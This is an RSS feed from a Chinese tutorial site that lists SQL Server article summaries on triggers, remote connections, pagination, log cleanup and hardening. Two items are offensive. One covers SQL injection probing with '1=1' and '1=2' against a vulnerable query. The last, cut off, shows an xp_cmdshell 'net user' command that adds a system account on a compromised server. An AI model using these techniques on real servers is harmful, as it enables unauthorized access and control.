<?xml version="1.0" encoding="gb2312"?>
<?xml-stylesheet type="text/xsl" href="inc/rss.xsl" version="1.0"?><rss version="2.0">
<channel>
<title>sql server教程 - BK网络学院,excel教程,word教程,visio,flash教程,coreldraw教程,powerpoint教程,平面设计教程</title>
<link><![CDATA[http://www.blue1000.com]]></link>
<description><![CDATA[sql server教程栏目提供sql server相关教程,是您学习sql server的最佳选择.]]></description>
<language>zh-CN</language><generator>iwms.net</generator>
<image>
<title><![CDATA[BK网络学院,excel教程,word教程,visio,flash教程,coreldraw教程,powerpoint教程,平面设计教程]]></title>
<url>pic/logo.gif</url>
<link>http://www.blue1000.com</link>
</image>
<item>
	<title><![CDATA[SQL Server触发器]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2010-06/68111.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Wed, 23 Jun 2010 12:20:27 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[何为触发器：触发器是数据库服务器中发生事件时自动执行的特种存储过程，这是帮助文档上的定义，就认为是一种特殊的存储过程也行，经常用于强制执行业务规则和数据完整性。]]></description>
</item>
<item>
	<title><![CDATA[SQL 2008 T-SQL支持表变量参数]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2010-06/68085.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Sat, 19 Jun 2010 02:47:53 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[最近装了<span style="font-family: Times New Roman;">VS2010</span>尝鲜。在<span style="font-family: Times New Roman;">Win7</span>下速度明显快了很多。顺便装了<span style="font-family: Times New Roman;">Microsoft SQL Server 2008 R2</span>，在看<span style="font-family: Times New Roman;">SQL 2008</span>对<span style="font-family: Times New Roman;">T-SQL</span>语法的增强的时候注意到了一个表变量作为参数传递的新语法觉得很不错。]]></description>
</item>
<item>
	<title><![CDATA[在SQL SERVER 2000中使用SQL SERVER 2005的数据库]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2010-05/67856.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Thu, 27 May 2010 14:08:31 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[今天项目测试,服务器的数据库是sql server&nbsp;2000的,但是项目一直用的sql server 2005的数据库，所以就在网上找了找sql server&nbsp;2000使用sql server&nbsp;2005的数据库的方法。能用的方法很多,但是比较乱. 我在这里整理下,希望对大家有帮助。]]></description>
</item>
<item>
	<title><![CDATA[SQL Server 2008开启远程连接]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2010-05/67848.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Wed, 26 May 2010 08:41:19 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[SQL Server 2008默认是不允许远程连接的，sa帐户默认禁用的，如果想要在本地用SSMS连接远程服务器上的SQL Server 2008，需要做两个部分的配置。]]></description>
</item>
<item>
	<title><![CDATA[百万数据级快速查询优化技巧]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2010-04/67393.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Thu, 01 Apr 2010 10:36:23 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[百万数据级快速查询优化的30个技巧。]]></description>
</item>
<item>
	<title><![CDATA[SQL Server事务复制、快照复制、合并复制的区别]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2010-04/67392.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Thu, 01 Apr 2010 10:32:33 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[经常遇到sql server复制问题，向来没有深究过三者的区别，今天细查了事务复制、快照复制、合并复制的区别。]]></description>
</item>
<item>
	<title><![CDATA[日期格式化输出]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2010-03/67172.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Sat, 06 Mar 2010 08:04:33 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[闲着没事在网上闲逛，偶尔发现了SQL Server 日期格式化输出的相关内容就给粘贴了过来，希望对大家学习有所帮助]]></description>
</item>
<item>
	<title><![CDATA[Sql Server2005中运行存储过程的3个优点]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2010-03/67171.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Sat, 06 Mar 2010 07:58:34 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[Sql&nbsp;Server2005中运行存储过程的3个优点：&nbsp;1.可以在单个存储过程执行一系列SQL语句。2.存储过程可以封装复杂的业务逻辑，减轻了网络传输量。3.存储过程的执行比在逻辑层传递SQL再执行，来得快。]]></description>
</item>
<item>
	<title><![CDATA[Sql Server中如何判断表或者数据库的存在]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2010-03/67119.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Mon, 01 Mar 2010 00:33:44 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[Sql Server中如何判断表或者数据库的存在，但在实际使用中，需判断Status状态位：<br />其中某些状态位可由用户使用 sp_dboption（read only、dbo use only、single user 等）进行设置：]]></description>
</item>
<item>
	<title><![CDATA[如何实现MSSQL中Sql标签select随机读取数据]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2010-02/66991.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Fri, 05 Feb 2010 03:51:50 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[如何实现MSSQL中Sql标签select随机读取数据select随机读取数据以及数据记录随机排序]]></description>
</item>
<item>
	<title><![CDATA[远程访问sql server ，provider: 命名管道提供程序, error: 40 - 无法打开到 SQL Server 的连接]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2009-12/66459.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Sat, 26 Dec 2009 06:34:25 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[<p>今天重新编译一个vs2005的web项目时，发现数据库连接出错，错误提示：远程访问sql server ，provider: 命名管道提供程序, error: 40 - 无法打开到 SQL Server 的连接。问题原因分析：<font face="Courier New">因为装了SQL Server Express 2005后，默认连接是SQL Server 2005，所以需要把编辑配置和编辑全局配置里面的默认的字符串链接删除！</font></p>]]></description>
</item>
<item>
	<title><![CDATA[安装SQL SERVER 2008时，提示 Rule“Previous releases of Microsoft Visual Studio 2008″failed]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2009-11/65739.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Mon, 23 Nov 2009 03:23:28 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[&nbsp;&nbsp;周末的时候把系统升级到Windows&nbsp;7（64bit），在装完VS&nbsp;2008&nbsp;RTM版，并且打上SP1之后，想安装SQL&nbsp;SERVER&nbsp;2008，去发现死活安装不了，出现Rule&nbsp;&ldquo;Previous&nbsp;releases&nbsp;of&nbsp;Microsoft&nbsp;Visual&nbsp;Studio&nbsp;2008&Prime;&nbsp;failed.]]></description>
</item>
<item>
	<title><![CDATA[数据库日志清理的方法]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2009-11/65738.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Mon, 23 Nov 2009 03:20:48 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[前段时间sqlserver经常当掉，经检查是日志文件太大了，居然有将近2个g大小。收集了一些数据库日志清理的方法]]></description>
</item>
<item>
	<title><![CDATA[MSSQL的安全设置问题解答]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2009-10/65463.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Thu, 22 Oct 2009 06:31:42 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[目前SQL INJECTION的攻击测试愈演愈烈，很多大型的网站和论坛都相继被注入。这些网站一般使用的多为SQL SERVER数据库，正因为如此，很多人开始怀疑SQL SERVER的安全性。其实SQL SERVER 2000已经通过了美国政府的C2级安全认证-这是该行业所能拥有的最高认证级别，所以使用SQL SERVER还是相当的安全的。当然和ORCAL、DB2等还是有差距，但是SQL SERVER的易用性和广泛性还是能成为我们继续使用下去的理由。那怎么样才能使SQL SERVER的设置让人使用的放心呢？
<br/>第一步肯定是打上SQL SERVER最新的安全补丁.如果这一步都没有做好，那我们也没有继续下去的必要了。 
<br/>第 二步是修改默认的1433端口]]></description>
</item>
<item>
	<title><![CDATA[讲解SQL的三个主要语句及技巧]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2009-10/65449.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Tue, 20 Oct 2009 11:24:19 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[1.插入数据 
<br/>(insert)向表中添加一个新记录，你要使用SQL INSERT 语句。这里有一个如何使用这种语句的例子： INSERT mytable (mycolumn) VALUES (&lsquo;some data')　 这个语句把字符串'some data'插入表mytable的mycolumn字段中。将要被插入数据的字段的名字在第一个括号中指定，实际的数据在第二个括号中给出。 
<br/>INSERT 语句的完整句法如下： 
<br/>INSERT [INTO] {table_name|view_name} [(column_list)] {DEFAULT VALUES | 
<br/>Val]]></description>
</item>
<item>
	<title><![CDATA[四种关于SQL查询信息分页的代码]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2009-10/65390.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Wed, 14 Oct 2009 05:11:25 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[过程一：select top N条记录 * from 文章表 where id not in(select top M条记录 id from 文章表 order by id desc ) order by id desc 
<br/>过程二：select top N条记录 * from 文章表 where id &lt;(select min(id) from (select top M条记录 id from 文章表 order by id desc ) as tblTmp) order by id desc 
<br/>过程三：在数据库中写语句！ 
<br/>create database mydb 
<br/>go 
<br/>use myd]]></description>
</item>
<item>
	<title><![CDATA[MSSQL和Oracle之间的转化]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2009-10/65376.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Tue, 13 Oct 2009 03:28:27 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[这两天写数据库升级脚本，发现MSSQL和Oracle之间的转化还是比较容易的。
<br/>以下面两个过程为例。两者的功能相似。 
<br/>1.MSSQL脚本 
<br/>1 /** 更改表名 **/ 
<br/>2 Begin 
<br/>3 declare @tempPoTableName varchar(50)--性能对象表名 
<br/>4 declare @tempPoSpName varchar(50) --性能过程名 
<br/>5 declare @errorInfo varchar(200) --错误信息 
<br/>6 declare @cnt int --计数器 
<br/>7 
<br/>8]]></description>
</item>
<item>
	<title><![CDATA[解决sqlplus里执行@sql.sql发生的错误现象]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2009-09/65092.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Mon, 14 Sep 2009 10:34:34 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[这篇文章着重介绍了sqlplus里执行@sql.sql发生的错误现象的解决方法，更多详细内容请参考下文：
<br/>昨天准备下班，应用打来电话说有事过去看个问题， 
<br/>过去一看，发现是在sqlplus里执行SQL文件出现了错误，错误如下： 
<br/>SQL&gt;@sql.sql 
<br/>SP2-0734:unknown command beginning &quot;sql.sql&quot; - rest of line ignored. 
<br/>当时没有解决，出现这个错误使用的是NetTerm终端工具，怀疑是终端或环境变量设置的问题，使用windows自带的telnet工具登录到远程服务器]]></description>
</item>
<item>
	<title><![CDATA[SQL查询结果集对注入的影响及利用]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2009-09/64978.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Thu, 03 Sep 2009 08:36:16 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[对于注入而言，错误提示是极其重要。所谓错误提示是指和正确页面不同的结果反馈，高手是很重视这个一点的，这对于注入点的精准判断至关重要。本问讨论下关于几类错误和他产生的原理，希望对读者有所帮助。 
<br/>错误提示主要有逻辑错误和语法错误以及脚本运行错误三类。 
<br/>一：逻辑错误 
<br/>简单的例子是1=1 1=2这两个，1=1与1=2页面不同的原理是什么？以$sql = &quot;select * from news where id=$_GET[id]&quot;为例。 
<br/>select * from news where id=1 and 1=2产生的结果集为NULL，然后程序取值得时候，就会去出空值，无法显示。当然有的程序发现]]></description>
</item>
<item>
	<title><![CDATA[如何在MSSQL执行命令]]></title>
	<link><![CDATA[http://www.blue1000.com/bkhtml/2009-09/64977.htm]]></link>
	<author><![CDATA[]]></author>	<pubDate>Thu, 03 Sep 2009 08:36:13 GMT</pubDate>
	<category><![CDATA[sql server教程]]></category>	<description><![CDATA[假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接 
<br/>能有哪些办法加一个系统管理员用户呢(或是执行系统命令) 
<br/>1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add' 
<br/>人人都知道的办法,最大的好处是有回显,但是最怕 
<br/>if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1) 
<br/>exec sp_dropextendedproc N'[]]></description>
</item>
</channel>
</rss>